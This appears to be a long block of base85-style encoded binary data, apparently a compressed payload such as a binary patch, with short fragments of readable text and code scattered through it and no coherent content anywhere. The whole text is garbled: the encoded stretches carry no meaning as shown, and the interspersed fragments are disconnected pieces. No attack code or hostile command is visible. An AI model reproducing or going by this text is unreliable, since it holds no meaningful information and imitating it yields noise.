zM-MKaCQiQ!FO3zHM!W4TY#C$Du-s6)vxnFxiU?+qiX-BVgy>ZA|3&*3)-c@<$yVi| zslmau@a9JD9GNRR$*Cla zi!;=tTD7!R2OUy8C+Es7Hl1g7$4J{Pt~&w#p~C~4$VDY+o{~6DCP$#hhRCok&9&%^ zF>la(C}Vp@cc`Ru;53m~jPKNbVT6X1y-J=At;IsfWc5HT?ZLQ180X~lFp5p*=I$8r zqF_&V=wU5#8ZbjH>>MEpbYdD|k2i=zmX^-Z8KW(8cW&wqbDohSM zf`~QDsx_(Jr9Ed^SD_9mUf!V=o6e2hG18sG)W~sQ{sj3b3zh!=@UAwoJP^hkZlamx z?aq#;nDe?f)b4yrcc_b8>Oxhds)$+#ELH>?cw)P4H{~QzJDTf zn(G>2HJ8$;CJYTUqxKwFH%l{?R{Oa|cXRHpLKfuG9)2IsGCWe?iK9i(#F>uRR)It0 zJEG?SmPIAEv8-*iWsDLZj4$os_kqC3Qbqe>N3^;%ZPKO)b(_tYqyT!s1Tb-x_J)!1 z#z~sa9)6!VHsOI4{r|a}@)vTA1tVV5)`;vF(2LkXc}uqKOzCdU(BUu#!lga@KKK_Z z8)epR*Gx2Z)SAlc>7x(O0glb0y=(lM`3IbfP=PCE5U4w4~NV4{GiQ z24;xNz+;Hj&TW2&X77mg5_o)d}Cseq-8Tu81rDQBwslw?Yh?)qtxkC zx8^NmHY1!*Y%G1t3~a8>gOFBUUzyJHvzzl=DR8qD{{PI#Ol|(YbK2}< zX2R*Srd~LC{lrb<-x>Sk*aZLL|Ni{n7x=#~@W0{iQ+xi| zKF6ur`i;?P$)?R4gUzeguiGNnOxB&5tXaPy(V^6%fj%h_t8`WHZdzK)X_tC!`7d@~ zIB)kL62iML?7l^Q_q}&NW8Lb_tIpYw@K1&2=B72PqoniC50Ck$%YFy{YGV>?5-{g= z{_ddlu@K+1IoK>DH=VI|ZLsm29yN?+#ogd5()AlxY>k?nxjIhPp&Q%{rv;m~{37u! zKwZ0f*^d$bOnkf~KK6_?z5nrwpIq{S9(B8)fByM<@1C43en9)<@xzwdzx4?{|JCvz zw6J2!H~QB+KyHXfvyQt?Pk>mm=|KT1f))nmH)hW$6u zWZkK&*Cl;Z+Mb7E{quH@*00^LeqFL|Gb788#J5Q{Z3<2m z-z7L>^ZFGGc;n_3$;OTAH!`$~`tDCK}4Ni&IqyNdq z)59omuwQuUr4Q&{UY6)cO=d0i|5O-@2^AGcbo-;@N)!>33)2!wbFGdSl`||iloxgX z?obys-oI5lB#i9Q<$(Hs3U74>jzegwV~aj4Zdp7{EaJ?=@T54!J9o#pWVvuQh+gp; z)JKG@M1LS&{$Us=xY@b|r#NlIs{kRZcGjl~GqQ?r zC7O@XMy#8DGQ@+B^c6}WF|npaa~YQidXrAi@X8RH zOOnz8%2vCtjHLI09lK*(3g|$pM>I9mQW{m58d27OX7SB9;`vJvp~g-?G&DkUb~_; z|DpM_=gql0=PsLDF?;Lm)w8Q+cbNI&%w;nN&(x+rG=288Id$jMWm79AZ=5`O;`WIP zCiWfw%lNy;H;nH+cGK9&V>^%DGJ56c5u+0$H;tU!xT|q_to6dim&Wc z`x;9A<)4E_kFTw)LrN4-+Qx&L+s+Ik+bgu_;EUPUtyJ?|)8v(=<1aX?G;@I*HB)by zP(vt<3?ocq>WxKvM)7(@Z6g<+c88S&##ky;$g7XL815?CZ1WCoYGAm2eMJWY`dqP! zDSj1AlgLA(&v!!79jWNa&so@* zY)S%Lpv*t%b(n;6w9K36MKu;k3Q>)gt~$Q*#}ZL>xZ+y8zWd70OGL$UGg>5N_{vX8 zMK$=XG<;KTJ!W+2A@}rM*K*6>v>7*|_uKY-*X}p%t{9^QcZaXcX0sgxF|$hmldK-X z(@tW zPD))kj73{vXl~2abiY1x>ge&uudI{#NBSyde*_n~@X+G9={hWS-GJB05gCGTAUX87 zg54P#BxqMv-rGqF!AYan4Bwt-F5~XsYOkV&6YiGjv@q9x?awmwsDABF67;B^U;AVB z?YHH-b-#V@H&HFWcGs{NreFJyVKMk-e;5wK^%%?Vhr}SjUb}Nx48yPeE}MUw1Of`> zL=Pl7l~V>u-2@dBG&H3rhD%g|#3n9-aO?8ECy1`a%a?c+qH(((^S0ncx&g03ckZ@W zYXeJ*O|0Kvh929m@0@*;Z5hwjztwHg(8RCrIwXef`Sk}6gTXh`G{63U48scOk+0FE z6GO;tJm5AS(71!Na@wkebb8tNo^e~6%KZLy7z|;HY`^xGZ0@*OaYR!Vl~VY| zNt==tOlA~y7>=FNIy8<$dNCSQ&hq|Z@?Ue+q!=YIEMihH#D^A(Biv13O!8hxi6$LP~1zl|kCqwyG(XmilZ|N;V z<9mF$Fa~!LuSGGhuY9U7hP_~DEw}`I<&%Xm+UwoWnU~g(7~+oJ91ervh_CE5BnIb% zvga@u>`T&Ml!s;el17FBq~jzSwX2M13dH$LaiB`JCt;hE{xPJMS@a^|qAJLAu+NlS zxwaY76`5)}jcaM5Z|yA^UQ08uGk=qzhw=Pp_D!~BJiYthUJ#xg>kJR1t_+L8J)kxO zM*EvFzkkm#RF$BpNTAjXYD~zu<$e`YM@?}m{4c!LXo1%|7DrHk>Uhi8vihT^=0Al0 ze|fFr{l8`IV7&j$v+B$pGuO`?F#YZ6%cl>Rx@+qCsgtL6n7nE7?8&_+el&5_#9`xq zAHQKd9^ZNFi(?mznWMLlUNd_1=*Y;8BWp%hG;V2J*4VdxXZ^bRiS-%fW6Dz%w{{mw z{>7hc4bZ?(jba-1h9tC!bDp~(ewmBayp^p9SSlsJWg_ zS6IicMljA3r0voZ^6yrEB7B33o>x_p=O%Cvh&bboax*P#9ius!(pilg8ag3 znc_U$X(%kBYT_-U8-hSjzSSn9CF59Sm z-%@rj0ZYS9h!>*WhQ{K~HOA??^hH<_3%fgJ8NJY=Ia%-VcB zzth}j=gytmd-eyjSI!7Drd}&Yzr}L}!SE-sXn&B<-HF5Cv=2JP8IZk4{r54W?W(rE4#wk_lv}-EW!2 zV>MyxXb?8VOk>*clGI53qRh zprw)MLXv1dn!!2mv?$W|l^+g71AxZMsS&4?kWfcLVglp6`{j1aNV)y#w8d6_G!Tu( z$Cks-f&Ry&f3+9Eg}}4*vfswt2!Bk(pno+OP1N5zQRL{H9WG6=sVH3`Ap{+J*+#7lR~*7Fv;+df~DaBD&^sBQdcsUmS==+JQrTzbEzsxNK6G z@5wOe|82x^*jeI!bK5{P&0{m`ftKhV9}cQH2UPv;*T-xYxDmQ7(Z^Bw%pf$;5X7dV0=yP2etqR*1JST=f#&j3OLzG& z@H|){p-tTSyMYFEkgvRJAes}AiANtElVWwzvd)HwLG+C7TW`#QVG|GFx4m;9njOJ= zXJNd_HlWdnC=pjfR@`zlBAPUg_m%ezL?f6ktVlqMJ(G@IWbY;({pXjV35IdvYWP`S z7=&iQnv9(cN&QXe(eFaCknkMe_uaZ)uE;f8IS?%%>6C79u}WJ?_@|)I#bDCBp?{vz2 zE8H9`=JZPg(O?mGU=Sq?62mkWxhmH=nuzv)H&zJQAQ(Si`N}{vvNSnVV(N0R=Yo=h z?quA~`_b5^#GN6v@RfHDLemJ^xRDWREMLwAhYr20V0+m<HCj*W{TJR{Z{?VFR-Sawt8PR?!6 z6p_of3`DbuywIDCOB^@V)ZomrlN73h{#`FZp^TLEcKbjyJ*5yP!EBJ!o_gGos3u^y zE<@v7z*>sv<;{c8h!uq~X2Ud`6wg$5A#e85H0nnaUYpnQMC|4RQ@G`itgZi7{{O90 zS5K{)ykqjB$^9n&GV#HQL&m={e$v=a$JUPidGx~3>5&(W?Amx^!>E6_eyH+QWvTWv zAn)nV8KdVPzOufSdfPR;qpA#@Rv@Y9g$~~|49o-^;e!u3&v1z0&%hOd%Z5Y%nrfNu z;2ip8gUlZMc^Fa-kgpZzX@B`zxghN)Un|RK<#y4!uY9c-u187NDlTvf^0jis@Z@X7 z{JQeBVkI2;TCozge63gsOTJcijwxNMaPkcKTG=_ee68#pO}m%9Q*0$*BeiNd**>4r~ zDMYk7Z*0Xe$ZhSsu@%GMn>mbSY|w3+%Qf|Wrs`;EXu{;{I$;td#ztqLD0IUPd8mqYi-7^#0#Qh8@|BB3gRWAT+92btQXmol*qcYu=Y(SKI0xg4l$3XB832-w#A{2**SE zN4So+B}&Xie4a;+{*j6pB0EdG)88@(ErNQOql$`0&@6+PA8$S|VlG2tXJHw|KK(9k z^^yPd?Hr0wgVr#tI*s>2)I+AGCtI&xERqUEnDTw`{=a)|Rc(I9xmV6TV)mW0`_6oN z=IH6~PRCQfojQA}K6&}%P7~Ko>`ATveq)~U**#C(E?S=;Un}*NV+Pal2@JymYPNTt7j+R_;y5Zx^kr5=Y3^3Kxv8JZ`&aeXMk?!q+)mzEgazE*70fwHx>^AMx|FZ_SemE~gT-%mU)U9?@aK2yF{ z?w!w&uay(!!tJ8GHL5dOmHtXgy!PR?h6FZWpcR$=Ax6eXe}1_!H;I*NXK& zd%I{oOS)F^c75h{(Rzk_t=z>n%h$?Dw`sd*-6&rx*8eH;wPJ@i$k&QRTrXcM7IB?) ztp;m&?RL?+M!r_=h^Ncf%FcQ6cG0?8zE<|@Y4WwQUr*gGT2uL2u@Z@Nt-@=*WQu3| z-D~F!_x`_FyRCNK{7bgH|8L{}pEi2Fwo>WT0;B;AEp!Np$XS3El;pS2g>^~~Xn;ZW z7?~S18=@9KBN53mG|i&bP;|zoP0hP=?Yb!w?MB5Sor7j!y6K-QN0H&5BSjG{>*e2e zMQ@y`4gViBJwUn>^zitVEHx$?DQhcB0}6^r;B`C74v&)zOtpCw-_cK9;9 z=Gks(ycACo-}pT7{{PV0J8JVUnQzT~YHn%v_p_JIK4|7$Glx(AaQckt>8V#wIg?+S zj3)j%@w|zLj(>3cn6Y1soj-P;(Kn9nKk|){(?^uXOB&7kC+jCEzf&$&b^)r|KdVL5 zU`q#qs-gx^?9^T@M-$DHua%>T_R+7Brsb_(d7EImr2v~ zQaPF&zjn1WO)rt7iRSh%mZs@Nax`IKuact)3;RN8nqDAB6Sn;Max`IKuau&R)~dDV zNz-(N98Fl*=gQH9-Md_xrsv4fgx!0#98FlGXGzm^nH){ny-THOx3TVuuzPQirs?%^G+|+1Cr1+&_Bv^rUMoct9U^O= z`9J@^saj37r({6aIC<`nF#|eG=Cxl-)ATDjnmBoWDNWPuax`)B{6dZ<&9D7jiYC}8 zYd@2w={7l!^oMdZVatCYM-#UE`_eSsDn}Ex{CjdV zVPU^3P1ASeXu_6%TaG545Wgiu6C|yE?VHjxeM62WPK{gSXu_6%U5+NK(bwc?!bW^m zjwWox&C)b|MT#bu{q$uynpovulB0=L{zW;OxJP_Jnx@ao(Zr4Ab22ow{oLP7@nHY( z+NRpPHur_OWcI&jUpi~dd}-#?8D;wA)7I2irdCfiCSNh>Oni0X^oh~&SB-mPUmsgL zHa`05(MOU0zkX!0@!H19`nT#&sZT4fQ}(ZYr?zSSWdm~nlF{?`+EVuqv4)XCE#FKN zHKp!f)2REm5(sT{D3p^J#@(<}_pd?rY+BZaHNm=nQuMDuIxHASAq(^$CP9niKU9Ji z+uuWi7R!H#1TCh&y96zozgzWM=!mdFik4j^XmR`pOVDEb50awgffBS>{w`9qJV1gL z)4#t2Er!3d6fO6Yphfq0lAuNN?<+;ij@4^{Yv?`_v^f5~rD(aA1TD6|g9I&>KQBeg zoCGbVKPy3t;m=6XGA%)i?oUb3qWP26YaxSZLV_08AD5uT@yDcS8I_>L_D3XWvHXSv zEii({!h4;}y4F?Wz1qZ$Yc&ZUjbQG>#ryxmYiHKx&ABhnoijv2TuT7@HcsZgjtqZ;xyonQ6SfaX|gM_09D; z<$C47+O4%S|AqgL#>%J4G7bMoDOwgKXwm&6Bxuq6$4Stl`j4$%i{bi*OVHx@he^<4 z`-e)7eqU8_?T1@|7DOwJapvCYHl%nO)613?40TQ%m{{B+5>?c8s>aVO`i|+XQ zO3-5akCLFp@)sm%F?~;h7Q=TXXwiK~f)>rUC1_E7t9mWaoSG7}IKCl4i|y+Yv{=3- zL5u3E)oW25e;)~2Y`-Nzi{&>ZXfgf0C1^4Hy(DPS{XHdU(fmhNuf;U|qyB&O{~g0W zv-&THmNO)1(f!R*v}}@~Me{dG(4zWJk)mZo^;&GlUoS<=Itf~Af2|ZPYb0o~{L>|9 zG5se?(Xv{C7Q;VHik4F)Xwm&tf)>qBq-cpHXi@!0ik7f?Etca4QnZ{RL5uA_Ns5*y zO3-5YPmrSJWC>bKe@TKC!}ld<(fyO8XgN`W7R`UW6fGx6(4zXsOVP5bdM&2oA16VJ z?H?;e%Q4k!aZLX#;s39!U0s`BJHON1N67%V*X##oquH66_sl$TW_651SnEKt+ z2c|BbI(llC$)8WYYx080gC{2@zBqB^#Hxv%$8R0Kc03+`#Mm8UH;io_b4UL^`mxcA zMh_dE8M%4ns*w{%9@zL%3eQYOYy->cZM&^TyTDre>6^+q^MY)1~`!S82|IW-MrSOSN3Ter#@8 zJ(G3(`q8;%wM^FY>qixpMemWhW!1J`I2`MX1!cL!)Q`w3t9spU^|+$4mS2BtZdtdh z_wb^!WbYi7Tb89I))lgc7L_&p`eSm-+FiYe6qVKe`oXznq1hDU!r6!y;W3}J=n}G>t=fS&3hM>rUw%=G-iL@Mj>NC=jW*{n-8HpWLt!sRT?YNTQK#OsY8TUJ7IMF z{a4mEY)qOkRc{D3N2e{Mj%FKnq&Gv`F`K3b$#oEFPSbSs5Mt{D>#bywwj|Su4klylP>$U_+*(~a9SRYdHsPU!&2l8Urc?M zdw|uW)QrT`v)$sR8K!pA^&*zB>ey*yI59=#TmRZ@$2%>T+HvI(CBwo)@9}LPeh;wN zxFAl_n5owxzSl$nd~C52)KGQfAdTZl+xpkq3m7$anIo+GKk}VFI5e5ROPxXe7~%gv zx^`1-{<8Ta=69I8W$x;^ljl~<-Zp#v?3!71=B}9=XP!E90M!7WoxXhf=;W=(< zZjHBR_;{Zt(>jwtJG>Y5eX>#C-3;p%*XNA^DitY z>$0X_kXyEWxT;i+*PmZh7QI*Imd#=#Lhtj6%5tB)BDZX|&Rk@lTT~Wve|c`%EG8rL zKBuTGdY_$JHjBx)Txp(FRF(tdvb?ffJA}_J4x3Ah%3=#H$t|13WQ5*}i^{SGFUl>O z#bjK5^D~ReqW2lOWwV%!xY=A-R2ID#{ZKY-X>7-t&vfVy~W> zTef4b_*Ul?ly%U1Zf@DkUQw%FKc}cHHs|czvYEXSzxk}9vN&vK=9bOul^E|CMP;#d zoAb)*nZ0uOR-1~-GTx23Wixvv*7H+}%3|v_-cRsbCtoY4oZrP5#LT^$~ zR_Kj$%VzdUtc|FsEZ;fIE!%nX;x`9HWwBSMMMKL4Lh)!tW{#(DgWeBbVFS-$%%xnJ`3d#z-pUo}Xz6WSR_A^Cgu|c2CE!(~awDo?fs4QpOO?hRr+?TfAPZpI$ z?aix@nOipVTX&QvX02P5piLm_w7Yxu^Vs8E!(zNs(9LeYf)L& z##?gBW`2vuw|a9?S@!Rna?57-X))e67L{eZ*XNea{1%=T>u)G3i`{sAZrRLl@%UD+ zD=Nz#ye_wF7H1LP`L#u5`OUA%Et|zz#CTs_RF?5xn_D)EvxxD&s;De_UzuCBW3P~X zMNwJq-q+-nH9PhS*_RiTg-@aWvfQ#Ad&OROX+c?`_v+lTnY|M4vM(tr%X#$Te6kF- z{hix>$~XTv`u|pT4=`-MalgFZZi_7aCU?p$oB1s?r)%7|sI1{PcFZfA?JG@;_dZ2s z(R=UQvYFpvAbYQ(vbx{cA-8Piw+OxSMP)U=F_&95^IHsl^K4OB)o;w?md*SYv96|z z%A$8Fw`}IOi0?dERF>~Nky|$NTf}!BFDi@PvD~tm-y+64T2z+rJd#_sW3L!*qo^!; z>$zn+_R91dN>N$9b1koImd~Q;oQwZmR2CoLAGu{Sdqw(g{lALJa##C%ZrRLU(T1=7 zx1zG>{mtqO#l(@5(Kk*(;&< zKZ?q77ym2(a+00&vZ}qdHve>%Y za?5t?732MBL0Ju3_mkYRnY|L<>c>T8ITwDETQ;*-8sF-NMP;#dKgcbc*(>p_zF$-p zn{#V!+00&v+Qjb_l|}D&bIWG-3KsbKcZ$kl>%N^=mU=Bw{0^8dXB zJ=<3{_vw@JeY?A5xlf;%TQ=KQLhs`X%37Y^I3c%eHsACLXdGWqR_I-oTQ=KQLiV_# zviP*e=9bO&6}=!D#}t)y{KnCFWjk>-suLSW6_q7Mb7XGW>>eQWE*6zV?-99WvwMK} z&W|f9i{8iPmd)+~VqG0xR2IF5<(AFv0T!}{7L~=9eoSuJ%wAd8>qCmlqW9q3vYEZ2 z2DWifQCVUo2j-T|?3Ebrql?O7V-LtJ+p$;3?q5`vc*lOZWjpqY@vbZ?i{5?n%69Tu zEMy;5P}XD*F65T&*empUMP)h5+}yGqdxc)7s4RNz+_D{eg{)OjR(xkOw`^vwgsf3i z7Td1pmhIRp#;X;S6^#zm+_IUyGO^G56qRKUwsOm6_Dbk&7L~=u?wwmUvsbk7ZtPW5 z7W=$sZrRLUL9x|%WKmgc>?88Yx}AI$P3V1iQCar>!*a`J_R8cpKeVVUdiTgJo7pR& z_aQ}P*@L_1md)&y$#34Rs4RL{bFVFYg zyRzhaG;-#dAlu$oy2p2aX>Prltk8RPZrS#H>*OyrUQ$q2=zVc++4jEDh3t!p%Hq>r zm0PyGuXOTi8ZRs=%bt8eZrS!dpsn}$MP<=@Wp3H_J)o`kc|~QhBUj{>ZQldh^ZVSQ zvgo}$uWXjjqEm<8curAS&eUh;mTlhybeH?qvx>^1_p;ownZ2UlLF3Y*ve>#ya?5sX z4tg&xC`+w%YReI)TKAh&MVu=XQ4j4aaKWD zYL6Rd=9bO;78<-Y&L}7=#=AMUZ05HJ*-b@d8Slp2vYFo^^ggAiEbDngZrRR#8rk(l zWjXiP<(AF-7O^(g7L`Tsn%uIP-$Gq_vYmVup*Jcji){~c%VzdU=naa>GTu{i%XaJ)YvV~p zWf|`ibIW$@73=v4MP<=@a&FmY;0lYg7Maq^5wed2c$Z<$y<@v!lq!U6Dv z@du23YwW7AW5(u2zc6~)=pm!^kq?cWIifaxMgRYx@!Q~o~uisnwigLMfxH4Az zBx-91jvT+TzAeo=dt0J*`_%H3UUxHyZRn`kh3NLuG+LHu3p+OygeXQ-riX;!S4<5D zK{=%|IRu2>q9d@cObiLZuNWT+!X%EaG=_xWbJmB1(0xT|LxgFp8oK8;y)f3B^cK~d zu3-l7Py|+B8>($sad&BLX?#j^PLoHB`icy~^CHIy)uyXDbomTpmCnD3+jL@@z0ygS zPP;)rgy`>Swmi|3q<+ZA(#m=eZC-um>dogYY)m#K!N%yc=B72Pqhw)GRkfyVI8I>h zbDY}OIXLS9ZM1YMsg*wtfub*{Zp$Sc*P%1?$up>4EF>{7Y)pP;N= zy(ZbTdHuS+Z`1v{y?dWbLS?o+K|v5RA#`9(0+WWkrkm1+l|HvY>{(&zMs^bSb;_o> zt+rrVEkiT~+NllUCHyK{V>cs<-neGshD|q$ou(G2wv)PnMd#=4ugI1O_X@XVi#{YX zZ3s7XjnE0wrW@#9(^M0)={maI)D72(oHS9Lo@HXM(sj`n+@!@W5Vb!K38DJ6KMe;# zvyR#yhlH^F+Fe6Jn11a)hJ@f-{9z~vm!i$u?}vlHr?1^PB!uDDe%FTBmLAT_RwrHE z-Ii*Q^}6eD5IPCF4;}&nJ1BbBJYYBo(N5z2Lqd?5x^o-C3S!;V!k}r<*|}*3Y0?Z# zGi^FyWY8>|Bf&7cpR>DD-IhlG^4edAfDoJA_G^D>Lu^Z{>+Y|>V973E%WGX4&D-NNnEuCh?%C`za z;ICPF%b?$p^5vosoFiUK$7(5`DhdJfh}Lp>y;VM06e8nf8ZyBeS2Ky?plQ*&S!TJ#)>> zDKmRa-!^^SbPN;VZBy4x#dQC_ZSuOwcyf=4+a|7?h$r?Kzis?FSOE7JyKU^cv0&`M zqu(37di40wiIESEtQ*;_aZBUU#zOr!^=s?L)yI_gD{GWpYhOd@mOn>~tX^49&Q78; zHp5TT+^`ujCmar!SNqP1S0u*|DZB=yuCe`6yo> z1ZL@JU|DgfJDwSPT9{g9Odh~8Fq2H9mP^|!<+lUC^f-y|4$?@|W7DwJ&hRja@90&&B*HiW`-(g zkWArreq|7ts#~F{#<~MHPZ%13XR)8mWng?WlbDf(U4QogFb&QbH!?zvRcor6|-2Nj+t*m!hw0Z(w3xZy2!UTb6J>XRnCG-=~1A26wT+Z=TF6E8cnd zR^+NG|D8`(TwdA{T5%bAWG-0>zf8(0?Dkzl*}Z_Q#@-TFo!xTFaxOcZ3)qzv1!TFF z3XW)H*Le{K}rp6}U zKe=Xd*NLx9Ts+~9|9bqDpqo1{3@t0Mh9HgQyf#*HdRMULo>xCcfuq{ zjIbAseS@9oIQVZG1QzRQs2V)O;oW#z;+d8cht_hBgtHQwU7BSm9~uP4(;i+@qJ~~* znp)uEp%Z&p{>xaU{4(L-e|{jCYI`_wZeZA^sTy8@ckd;AFO+SUkbtZuu8`ju1jfT| z=p}j-+PZ1Rb`Yznsx1$S2+!APIpREi&mb@-A>0(<#c8S;T6$m;DZqd2p8$giz*!|B zQu)OoFnoH;NFCKp@W~xFFjG5BqGdr5JYQbQ@$G!&2ZO-WNOOY3#`z_~AP54_OkF26 zmi;nQTzedjALZ8rz>+Z4T|wr{i!Gj#>!n^CTQEEHxrAb!iO@cG$m<7!g@($)GKfZ* zI=@Wi+d0b}eBsmZSWHti_~M@-7*8#Yv5{uP3T612>X8-w;OJUbe2(W8UPk2 zFcY((m`=ykVj@5>;lyxRxP}M|N47yauky7)V1XVvsC45b#DlhpO2x5fZXJ5y-b1L$ zSAIVT%rTP0OQBAUOfw-l!*z|sCDzq9On#Zpb`ohVw+sM_Qd_qiH8o?vEQ2_nZ5ZBG z!{oH(B~t9o?+ya5`nW4Bi56x7cC}8CG}eQ{va^EQj(-;Xc5^;9mDn5 z3ue4L!lH?=pa*}P^36eDrX9w_C{4pjSsuEJwe-?-+1?~7#W(ZB#s32X!3;85Qp0d9 zmRr~+__oyLds8f0qn#w7ynX;!7}>U)66!S!T`by=Kv&}FeJL?*dxi;N#{uLE0;Bf{g6sq)QCV!YV!Wncu~OtOjiWp5q?25T|z5v+I!*#pdmX&Y|R z&&tjrjE|(YS)7&k4g_Nw2^z!d&EcemoGF+h!pQx@#9JcaN`zA1IslBoDQm*x1wB#O zn|7$`W*BT0F(xi6&H#46Zw7&}JZ+-vSbn0;A*WqLbdW=||CiBgnLDeA3Hst7FjI9M z2h%Ec0kG_HElvpM_JMJ3s%$550lsYznC4*&bRwuCWEpFon}|R66*F-xHj);E+&B7v8Mh#pjm|o|V-Oe_bXus}ShUD=Vuw9$L4Lh_HVv_8 z9TAs(`v5S)*Ti>ugi!;ME#Q7nywHV8z5kc#4AX33(0%38gTNdk))<--2;&3$HW7E8 z`j%Y}ShNIrUE#gFV*nT%Gvpj6YGggCZ2})W$zpW#$AI0 z6H9HT+=8q?(*l)8l&!#sq#EKC`hA1Ic#jlzBhbZ0x40(QiDy|`+cORnQ`~~SFaXR7 z9YP3jzpGlp1B|#FB;@7vt+Q^dLF8Dj90V4a+*v&C#WrsyWCMBu_EBH{%S19>i*z7g zdD|c`K6Ru!7VlLA*Dyv#Y^Yk)_sjVDJiuUSb-vl}27&RuCw>!#L;MZPKU5=plw}iu zJ>zA9P>%B9L0}f{gcfrlvn+1gR;Y8I)y?JGiMXW2ZJS|!d;l2fk1 zD%(3^4s@<+w&$>)wmwko1(n$pOXCwmI@9zW91;HiKDBjO{=YSM=iIyJo-j8y`}Wxr zXO)>Z%^WxV_vzP7A361B{Qtuz|1kOT$%7|;Gx6ey{l{+~fByKw*iXkUAG1b(FnZ~z zI`W;7XN>H{TmSiuht&iZ4jfjzncSZvHu6~MB~jw~Nm*y_a!VA&2wlnyJNvz5nH z1N+$WVMWm6@CsnLMI2TEEW7N`YG5Bz0W7=hkn&-LD|T=Nu&mpIDu88|9as(Qqbq>r z&^e$2Sa#X|6~MB~_NxGvUAD3s*nKO2WtTmwd{}X(U#I|&U(6W^b>WMZH3Z;xL%zUSE2$DTU&(9tiCo;A8+op>Sa}uoqMV z`}7K6F|Y^UP{s&!_;F zJJRL~U@?rFs)5~D0W7BGDHXtC6E;);%jR8Q0W6z$UHP!|YF5@(1G}aISWe#4D}ZHz zJ-Hg#)fK?9ZcnQKmUVk-HLz&~uxy8TeWmJ|9`iUFN~ZqvTNgWjZKXQ)jw0; zP`|(O3FUNU$J&Q$sfYmd{`fQqNiGkY0jaS~8f`hv&`s5*9>jFFqQzPgQhLO@zebL` zWoVSeZ^=z+_t7CWhIAs$pfKr@3SgWc%E^lK>t>x%=F1WR>SUmTzuSbC1s`r-g3 z!Mc8}FAh)=tmD@%IG)53rIT1v8tl_6K(+m+Rf2kc1*n$))Cy2d|GY|2&#eH}@Xsk9 zl@!4W{C`nF__|($SWbSG=u3571+ZKfURwby=lW|ZfaP3&bv3ZpRshRg|5eq%zOn*X zZXvHIA6Dd2TvH9~%PW9om%Xe4Sa#VxC`H!x1j@rT_Nt|K)rOEKcp+<$q$@N7dd{0W2=>J1c;tSey0Lh&98mC0$9>uzEwIb zO|<;lH>-jDMg_1~uv;pC#e#jk0$4Wh*D8QzmwmMYSa#XX)xdtGd{_w0YG1AZmId~u z3Se1aU#tL@v+N7iz<$00SdPfgRRGH_`)oC^pQ!+r&HL$UU_Vs>EH>e$YG6NEJ}l`l zwNF$7`|%23F*P5n02Wj8(Q05nQUNR$?8DW-ey9RiEZ7IDf&D-Quo%YoR|9)v1+W;# z_mvLY_IZDr<^MlJxySnd-%ejWec;p`Q!k!6VDeX!S559War?vzCiWfw`S_Le{=04L ziZOTeC!?2-+9N+2dG?6e_(9{chF-t5eo0+bzN=iMv})h3J>y?>0O(1urG2!K(iFJ~ z)pbg3fTmF!U?sE&)aeGA#I%qMJGB8CT}w@f*m`OM=z>kBOIYY&F?~n{sHVSr1*n?8 zTluIY1FxtAb=L||9sj`isG})%~3+ zK-K*FR)V@?`KYiK+@}Im$G>+asQ0P>)%JI&0M+v6D?y#B0M+zoD?l~;nMzQnD?ru# zsR~dvf3kd3(iEk|o`>VSFgx zGl9jR_S*_z@lk(M4eT8iz~ZC+x*FJDRRD{R`paryZ?6EB;N34OfaQJb=jFq~cvSmY z`33>DoIP&K{Qt{q^Q-3mF?apkv9o`lef{jwGyger-OQ2Gf0=&G^bu2kqWAw}C-0hk z<>X-#f0(#t;xXfQj=yaD;IZG1T|IW-=pCak9z9^>S0h)A?AN%x@q)&_^`F0H zDOV_N?I*R%=ijugo&QQ7q6J0ev6Y}6Qvs^wA6)^e=^s@As^K453F=}6sJeed1*n?; zxC&5J|FPwx8m@nM1*ndHSOuuIe`p1$mj9SaP!Fj9)$|Xp1ofZ_P!0dUN>CqN0jlmF zPywpu?_UY(eifjq{>t)Ep`YHj0#w_7R0XJ(zfb|H>3bER8opZrs_r`#plZHd0jla- z<)gyEWLALc_(lb&wy#%!YWZ3PsH(4)k4gsZJ{6$aeyajh%WqbIYWjOufNJ=ARe-Ad zdscv|`H!psRrMcHIx6I{{=+Lkb^V8xj%t~Xf7}%A`98I?%kuxPZX8zsOa1!#iS-HP zM&&eR=h|m$XV2fTbp+t3k@YL<8#X4*c=e_Y!RF|+g+z_iD7K7d2;pDT)RMRvhKb%( z6D@R%FbrV}>^}Fqt27(R-vv``sVY0@XtC;)AICY7)5+P&CwIrGt$86BQ<9} z;JbIA4tMJ>zRDv2; zfU5dYC8%NfsFvdgm7tzd0jljksS?yDR)A{xPpAa-c7ASypVeHm z{?vsIiDNTL);dY?H+gKB%B5S`W-CYAhIL%heIJ3yQM*t-PXy zwS`tJqFGQBtwvr^g4G?ZdO=aNYI#M~Oe>;lF;Sk^>-*#q<>A0AYNBgQg6Cs}vu>UBx4d*dxw?t-efY}54{*KCUf zzs+7yt(GU=mi}yvI4kR$l1-aduV2?Lr`9dcwJguGd$nZmp>|6XM~ib$GW;9IQhQ~x zH$Xl<&*1g@-II*!VZNPZGMGBIWl*+VpS?#Jhqp9+D;Z5|8RCdc$X|NqVGJ7>?D-FH@*`Si?lW{#e@@AP-4Uo{<1KXU4~Q}3EOduruWeeyGtmrouu zxzoh=Ca#@GCiWcv-T1r5&l%ruyfOCKvFDB*J9fX(TSs3#nvU)@a_7itbZE1J1T z9`o_Kf}-3duFET$xkzG{ytbeyKln9yMYFXc#`@}lqKx(0yrP+lB*yxxf}&`BWnR(D zMe-1RML|*SP1ocUH8U51sG_y@m6xN?xP!zLvd0x@XHVLiIDJY88XXh2oY?F&cd{#kGw)$l`Maei5!9bD0 zc4Fh6lJU%^NMD+Nvz?g6coj*ZOAK{ z*(N%+*Vh*mW%;kmD|+{{*V8zOq6aX^(W^Q?L2$2b5<7=Wg(uH zS2VLt;$iXBVxnX<*3+D#RyMD~Yrg*9+5dMJG8;f_$glr8*GK4zLdISHRbJ7y4Ip{j zum7@`s0fnZo>#PO1KL`DQA|{5{dr!|_FB=zXZl$|QC8?}c}3ecpgq=~789j~O#LT$ zMcXz&6QAkF1w}c>ew0_VZ38qBuKr;`Q8w}q@`|?aCz|+7-!CZ2mG#!VqV4;MCLVge zS5OqK-_0x9zMp6spXoaVMR5wgol`VR%hAMxz_$vDVqm_RS2VLt8W!;z1x3+%OJ32; zHVLg?FDQ!EujLi(*d`|DtHng=tW&=^uV`kQG_-!Dn5fYD<-DRD+r(%3QZZ2|Zt7pm zE84M5X#GMlQK9woc||+6i7))QVxmIpXY-0?wn>P7rl2S${L^_wGutGzeyX4-Cj6$H zqFGvwCbWLCpeR~DkykXcO)8=vFDS~v@v*$3nQanUKUz?fgX1H4MKjw(`Fj1s1x3;N zp}eA*ZBh~aU_nuis}JNA&1{p<`u>8V92__170qmuij{a@AyHL4QolE^Xl9$lSl?4f 